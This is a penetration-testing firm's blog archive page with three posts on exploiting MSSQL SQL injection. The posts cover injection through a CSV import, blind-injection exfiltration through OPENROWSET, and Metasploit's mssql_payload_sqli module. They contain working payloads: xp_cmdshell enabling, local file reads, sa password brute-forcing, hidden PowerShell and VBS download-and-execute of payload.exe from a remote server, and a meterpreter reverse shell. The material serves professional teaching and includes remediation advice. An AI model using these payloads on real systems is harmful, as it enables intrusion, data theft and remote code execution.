SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
HOME SECFORCE - penetration testing COMPANY SECFORCE - penetration testing SERVICES SECFORCE - penetration testing RESEARCH SECFORCE - penetration testing BLOG SECFORCE - penetration testing INITIATIVES SECFORCE - penetration testing CONTACT
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    SECFORCE - penetration testing

Blog ■

SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    Home : Blog  
SECFORCE - penetration testing SECFORCE - penetration testing
Archive for the ‘SQL Server’ Category

From CVS import to cmd.exe – via SQL injection

Tuesday, February 18th, 2014

This blog post explains the process that we followed in a recent penetration test to gain command execution from a CVS import feature. One of the most challenging issues was that we had to escape commas during the SQL injection attack, as it would break the CVS structure.


  • Application imports entries from file (CVS, Excel, etc) to the database
  • Typically the parsers used for this importation read every entry “as is” in the file.
  • In the case of CVS, documents entries are separated by a delimiter character (typically comma).

More often than not entries read from files do not go through the same sanitisation and validation functions as web application requests.

Example of a CVS entry:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever


In this case, the parser expected some entries to be of a specific type; thus some entries were populated with expected types to bypass this restriction.

Attack Steps:

SQL vulnerability identification:

A SQL injection issue was identified when a crafted file was uploaded to the web application.

– The following file was sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever

 – Result:

Unclosed quotation mark after the character string ”.

This is a SQL error! – let’s start early celebrations!


– File sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,,1’+char((SELECT @@version))+’1,

 – Result:

Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1617.0 (Intel X86)
Apr 22 2011 11:57:00
Copyright (c) Microsoft Corporation
Express Edition with Advanced Services on Windows NT 6.1 <X86> (Build 7601: Service Pack 1)
‘ to data type int.

This is definitely working! – celebrations continue …

– Spoilers:

Only SQL errors were returned to the user. If the statement had no errors it just displayed importation failed/completed.
Moreover the importation was a two step process – not easily automated with sqlmap and time was running out.

I’ll spare you the rest of the details of this step – Info gathered: database version and database user (dbo)

Escalation – Reading local files:

In MSSQL the file must be imported into a table and read from there.

* Alternatively OPENROWSET can be used instead of BULK INSERT.

– File Sent:

– Copy the contents into our table:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,,1‘;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\windows\win.ini’ WITH (ROWTERMINATOR = ‘\ 0’);– ,

– Reading the contents back:

1,SEC,FORCE,,,,1’+char((SELECT TOP 1 * FROM SecforceTBL))+’1 ,

ROWTERMINATOR is EOF (backslash 0) because life is too short to read a file line by line. The first CVS entry (SQL query) imports the whole file in one line.  The second entry triggered the error and returned the result

This worked for most files but then disaster! – … celebrated too soon!

The file was there but I couldn’t read it

“String or binary data would be truncated.”

* This was not because the row couldn’t hold the data (could be the case) but the SQL error string cannot be bigger than 4000 chars!

There is a workaround to this eventuality. It’s certainly not pretty, but it worked:

write output to file – read specific lines with powershell and write them to another file, then import it to the database:

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command dir c:\ > c:\temp\1.tmp &&
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command (Get-Content c:\temp\1.tmp)[0..10] > c:\temp\2.tmp

Or make a new table (SecforceTBL2) insert only 4000 chars into previous table (SecforceTBL) and trigger error as before – needs to use the comma bypass as above:

INSERT INTO SecforceTBL VALUES (SUBSTRING((select top 1 * from SecforceTBL),0,4000))

Escalation – Command execution through xp_cmdshell:

First of all, we verify whether xp_cmdshell is enabled.

[..]1’+char(( SELECT cast(value as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1
[..]1’+char(( SELECT cast(value_in_use as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1

In this case, xp_cmdshell was not enabled, so we had to enable it.

* Also try ‘show advanced options’ etc.

The application connected to the database as dbo, therefore  we should be able to enable it – easy!

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE

Well not so fast… The comma in the SQL code shown above would naturally break the CVS parser. In order to escape the comma character, we need to declare a variable that will hold the SQL query string and execute with master..sp_executesql:

[…]1′; DECLARE @sql NVARCHAR(500); set @sql = ‘EXEC sp_configure ”xp_cmdshell” ‘+CHAR(44)+‘ 1’; exec master..sp_executesql @sql; RECONFIGURE ;–

After launching the requests shown above, the configuration showed ‘1’ but every command to connect to the outside fails (not even DNS). – ... never celebrate too early!

Command with 30 seconds delay:

[…]1′; exec master.dbo.xp_cmdshell ‘ping -n 1 -w 30000 > nul’ ;–

It took 30 Sec to reply – awesome!

but the box is completely firewalled – not awesome!

Escalation – write a webshell on the web server root:

Some command line fu and we can see the results of the commands (see reading files below):

[…]1′; exec master.dbo.xp_cmdshell ‘dir c:\ > c:\temp\1.tmp’ ;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\temp\1.tmp’ WITH (ROWTERMINATOR = ”) ;–

[..]1’+char(( SELECT TOP 1 * FROM SecforceTBL ))+’1

Just a matter of finding the webserver root

List all drives command:

wmic logicaldisk get name

Read the IIS configs to find the server root.

In this case, we discovered that the database server was hosted in a different host and the web server was not accessible:


… and TIME was up!


Sanitise *ALL* input – In general all input should be treated the same way.

For the SQLi vulnerability the easiest fix would be to use parametrised queries, this would prevent SQL injection attacks without having to add an extra layer of sanitisation.

Lastly, having the database server in a DMZ zone and segregated from the web server prevented this attack from escalating any further.

Stacked based MSSQL blind injection bypass methodology

Monday, January 7th, 2013

If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.

This post is part of a methodology used for obtaining output from a stacked based blind SQL injection.


  1. Stacked based Blind SQL injection
  2. Local MSSQL database server (MSSQL server express was used in this example)
  3. Improper remote firewall configuration (allows outbound connections)
  4. #include <brain.h>

If all of the requirements above are met then the following technique can be used:

  • On the local server create a new database with a table to store the results:
    • CREATE DATABASE output_db;
    • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
    • Lastly, open the ports and change the config for remotely connecting to the database.
  • On the remote server test for OPENROWSET  and external connection:
      output_db.dbo.output) SELECT @@version–

This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…

Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.

NOTE:  OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors

Copying Databases:

  • After you create a new database make a copy of the local sysdatabases and empty it:
    • SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
    • DELETE master_copy..sysdatabases;
  • Copy the Remote sysobjects over to master_copy..sysdatabases;
      master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;–
  • For every returned name create a new database and list tables
      LOCAL_DB_NAME..tables;) SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;–
  • For every returned table create a new table for to hold the column data
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=localhost;uid=sa;pwd=sa’,
      LOCAL_DB_NAME.dbo.columns) SELECT,
      TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
      REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE AND’sysobj’;
  • Now create a new table with the same columns and data types and copy using the same command as above
    • Or create a new table with only the columns you need and copy over only those


  • Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
      SELECT * FROM OPENROWSET(‘SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
  • Command execution with output of the results (if the sa password is known)
    SELECT * FROM OPENROWSET(‘SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,
    ‘set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
Advancing more:
NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.
  • A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
  • … or do it yourself. The following commands are for downloading a file from a web server, and running it.
    • (Powershell) [Convert]::ToBase64String([System.Text.Encoding]::
      Unicode.GetBytes(“(new-object System.Net.WebClient).
  • This will generate an encoded command string that you can run on the remote server:
    • powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand “ENCODED_COMMAND_STRING
  • If this doesn’t work, you can echo and run the one-liner vbs script below:
    • echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”)
      “GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
      If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(“ADODB.Stream”):
      objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0:
      Set objFSO=Createobject(“Scripting.FileSystemObject”):
      Set objFSO = Nothing:
      objADOStream.SaveToFile “C:\DESTINATION_FOLDER\payload.exe”:
      Set objADOStream=Nothing:
      Set objXMLHTTP=Nothing > C:\DESTINATION_FOLDER\script.vbs
  • Run the script:
    • cscript  C:\DESTINATION_FOLDER\script.vbs
  • Run the payload:
    • C:\DESTINATION_FOLDER\payload.exe

$ chmod -x attack //Protecting the web server (for the non pen-testers)

What went wrong – Recommendations:

First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.

For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.

Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.

Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.

If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.

Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.

Exploiting SQL injection vulnerabilities with Metasploit

Thursday, January 27th, 2011

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker.

Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:;exec master..xp_cmdshell ‘ping’;–

If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >
msf exploit(mssql_payload_sqli) > set RHOST


msf exploit(mssql_payload_sqli) >
 set PAYLOAD windows/patchupmeterpreter/reverse_tcp

PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST


msf exploit(mssql_payload_sqli) > set LPORT 80

LPORT => 80

msf exploit(mssql_payload_sqli) > exploit

After the exploitation the attacker will get a meterpreter shell.

SQL injection exploitation with Metasploit

SQL injection exploitation with Metasploit

If you want to use this code you can download it from Secforce security tools repository.



January 2015
November 2014
July 2014
April 2014
March 2014
February 2014
August 2013
June 2013
February 2013
January 2013
December 2012
November 2012
October 2012
January 2012
October 2011
September 2011
July 2011
June 2011
April 2011
February 2011
January 2011
March 2009
February 2009
January 2009
December 2008
November 2008
October 2008


Aircraft security (1)
Business Continuity (2)
cyber security (2)
Embedded devices security (2)
exploit (9)
Fuzzing (1)
Penetration Testing (43)
Phishing (3)
Risk Management (5)
Security architecture (2)
Security Books (1)
Security Compliance (1)
Security research (11)
social engineering (1)
social media (1)
sql injection (3)
SQL Server (3)
Tools (15)
Uncategorized (4)
Vulnerabilities (10)
SECFORCE - penetration testing
  SECFORCE - penetration testing Suite 11, Beaufort Court
Admirals Way, Canary Wharf - E14 9XL, London
SECFORCE - penetration testing Direct Line +44 (0) 845 056 8694
E-mail SECFORCE - penetration testing
  Follow us in Twitter Check us out in LinkedIn SECFORCE is CREST certified. Click on the logo for more information ISO9001 ISO27001
SECFORCE - penetration testing
    Copyright (c) 2017 SECFORCE Ltd · All Rights Reserved